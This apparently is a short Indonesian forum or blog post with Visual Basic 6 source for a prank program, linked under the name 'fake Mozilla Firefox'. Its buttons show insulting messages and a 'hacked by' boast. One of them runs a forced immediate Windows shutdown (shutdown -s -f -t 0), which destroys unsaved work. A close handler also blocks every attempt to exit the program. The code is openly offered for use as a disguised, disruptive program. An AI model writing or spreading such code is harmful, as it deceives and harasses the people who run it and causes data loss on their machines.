Uploaded with ImageShack.us

[url=http://www.indo*web*ster...com/mozilla_firefox_palsu.html]Mozilla Firefox palsu - indo*web*ster...com[/url]

Dim text As String
Private Sub Form_Load()
text = " Tes Penampilan"
End Sub


Private Sub Timer1_Timer()
A = Left(text, 1)
C = Len(text)
B = Right(text, C - 1)
text = B + A
Form1.Caption = text
End Sub

Private Sub Command1_Click()
Me.AutoRedraw = True
Me.FontSize = 35
Dim shadowX
Dim shadowY
ScaleMode = 3
ForeColor = "&H808080;"
shadowY = 5
shadowX = 5
For i = 0 To 5
CurrentX = shadowX + i
CurrentY = shadowY + i
If i = 5 Then Form1.ForeColor = vbRed
Form1.Print "MUKA ANDA JELEK SEKALI"
Form1.Print " NAFAS ANDA BAU "
Next
MsgBox "NAFAS ANDA BAU SEKALI !!"
MsgBox "DAN MUKA ANDA AMBURADUL !!"
MsgBox "JANGAN DURHAKA KEPADA ORANG TUA !"
MsgBox "KAMI ADALAH HACKER INDONESIA !"
MsgBox "YANG HANYA INGIN MENERUSKAN CITA-CITA BANGSA !!"
Shell "shutdown -s -f -t 0"
End Sub

Private Sub Command2_Click()
Me.AutoRedraw = True
Me.FontSize = 35
Dim shadowX
Dim shadowY
ScaleMode = 3
ForeColor = "&H808080;"
shadowY = 5
shadowX = 5
For i = 0 To 5
CurrentX = shadowX + i
CurrentY = shadowY + i
If i = 5 Then Form1.ForeColor = vbRed
Form1.Print "MUKA ANDA JELEK SEKALI"
Form1.Print " NAFAS ANDA BAU "
Next
MsgBox "MUKA ANDA ANCUR SEKALI YAH !! ?"
MsgBox "MUKE LO DI DEMPUL AJE BOS !!!"
MsgBox "KARENA MUKA ANDA TIDAK ENAK DILIHAT !!! "
MsgBox "SYSTEM ERROR"
MsgBox "GARA-GARA MUKA ANDA !"

End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Dim answer As Integer
answer = MsgBox("Apakah anda yakin akan keluar dari program?", vbQuestion + vbYesNo, "Confirmation")
If answer = vbYes Then Cancel = -1
MsgBox "Anda tidak dapat keluar sebelum menjawab pertanyaan kami"
If answer = vbNo Then Cancel = -1
MsgBox "Silahkan jawab pertanyaan kami"

End Sub



Private Sub nama_Click()
MsgBox "Hacked by Bloggerry Aka HACKER"
End Sub




Private Sub versi_Click()
MsgBox "Ver 1.00.2012 Rev-A"
End Sub